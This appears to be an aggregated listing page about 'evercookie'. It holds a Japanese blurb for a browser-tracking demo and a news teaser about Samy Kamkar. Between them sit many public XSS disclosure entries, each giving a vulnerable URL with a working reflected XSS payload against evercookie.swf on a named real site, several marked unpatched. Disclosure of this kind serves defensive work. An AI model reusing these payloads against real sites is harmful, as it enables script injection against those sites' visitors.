ubercookie

🍪 ubercookie ウェブサイトがどのようにしてあなたを永続的に識別するのか——そして「Cookieを消せばいい」がもはや通用しない理由を示す、教育用デモです。 ubercookie は、単一のランダムIDを12種類のブラウザストレージベクターに同時に埋め込みます。訪問のたびにすべてを読み取り、合意を取って、IDをすべての場所に書き戻します。どこか1つのストアを消しても——あるいはCookieを全部消しても——生き残ったストアが静かに 復活 させます。このサイトは、あなたのIDがどこに隠れているのか、どのくらい頻繁にブラウザを認識したのかを、平易な言葉で正確に表示します。 これは...

rc08-s-pt.rc.ppstatic.pl XSS vulnerability

Open Bug Bounty ID: OBB-597249 Description| Value ---|--- Affected Website:| rc08-s-pt.rc.ppstatic.pl Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

ssl.gmyze.com XSS vulnerability

Open Bug Bounty ID: OBB-597243 Description| Value ---|--- Affected Website:| ssl.gmyze.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

mail.ici.co.ir XSS vulnerability

Vulnerable URL: http://mail.ici.co.ir/plugins/signinseal/evercookie.swf?everdata=%27%20;alert/XSSPOSED/;var%20evercookieflashvar=1// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...

live.nike.sk XSS vulnerability

Vulnerable URL: https://live.nike.sk/portal/version/release.web20160531.12/shared/flash/evercookie.swf?everdata=%27;alert/XSSPOSED/;var%20evercookieflashvar=1// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

grabo.bg XSS vulnerability

Vulnerable URL: http://grabo.bg/evercookie/evercookie.swf?everdata=%27;alert/XSSPOSED/;var%20evercookieflashvar=1// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 26619 VIP website...

mail.sairan.ir XSS vulnerability

Vulnerable URL: http://mail.sairan.ir/plugins/signinseal/evercookie.swf?everdata=%27;alert/XSSPOSED/;var%20evercookieflashvar=1// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP websi...

mail.mod.ir XSS vulnerability

Vulnerable URL: http://mail.mod.ir/plugins/signinseal/evercookie.swf?everdata=%27;alert/XSSPOSED/;var%20evercookieflashvar=1// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

staging.luxoworks.com XSS vulnerability

Vulnerable URL: https://staging.luxoworks.com/js/evercookie/evercookie.swf?everdata=%27;alert/XSSPOSED/;var%20evercookieflashvar=1// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...

mail.fatehnet.net XSS vulnerability

Vulnerable URL: http://mail.fatehnet.net/plugins/signinseal/evercookie.swf?everdata=%27;alert/XSSPOSED/;var%20evercookieflashvar=1// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...

mail.sababattery.ir XSS vulnerability

Vulnerable URL: http://mail.sababattery.ir/plugins/signinseal/evercookie.swf?everdata=%27;alert/XSSPOSED/;var%20evercookieflashvar=1// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...

mail.ioico.ir XSS vulnerability

Vulnerable URL: http://mail.ioico.ir/plugins/signinseal/evercookie.swf?everdata=%27;alert/XSSPOSED/;var%20evercookieflashvar=1// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP websit...

80.191.127.193 XSS vulnerability

Vulnerable URL: http://80.191.127.193/plugins/signinseal/evercookie.swf?everdata=%27;alert/XSSPOSED/;var%20evercookieflashvar=1// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP websi...

static.adtimaserver.vn XSS vulnerability

Vulnerable URL: http://static.adtimaserver.vn/resource/swf/evercookie.swf?everdata=%27;alert/XSSPOSED/;var%20evercookieflashvar=1// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

golos.vb.kg XSS vulnerability

Vulnerable URL: http://golos.vb.kg/ec/evercookie.swf?everdata=%27;alert/XSSPOSED/;var%20evercookieflashvar=1// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Chec...

mail.psi-corporation.ir XSS vulnerability

Vulnerable URL: http://mail.psi-corporation.ir/plugins/signinseal/evercookie.swf?everdata=%27;alert/XSSPOSED/;var%20evercookieflashvar=1// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated...

like.lb.ua XSS vulnerability

Vulnerable URL: http://like.lb.ua/media/news/img/swf/evercookie.swf?everdata=%27;alert/XSSPOSED/;var%20evercookieflashvar=1// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown...

vb.kg XSS vulnerability

Vulnerable URL: http://www.vb.kg/ec/evercookie.swf?everdata=%27;alert/XSSPOSED/;var%20evercookieflashvar=1// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 94724 VIP website status:| No Check vb.kg SSL...

seosprint.net XSS vulnerability

Vulnerable URL: http://www.seosprint.net/evercookie.swf?everdata=%27;alert/XSSPOSED/;var%20evercookieflashvar=1// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3869 VIP website...

Evercookie Creator: FTC Cookie Inquiry Would Be Too Narrow

Samy Kamkar has always been prescient. He first gained notoriety by showing how nascent social networks like MySpace could be used to spread malware rapidly among a population of millions now billions of users. His worm for MySpace, dubbed the ‘Samy Worm’ earned him a visit from law enforcement...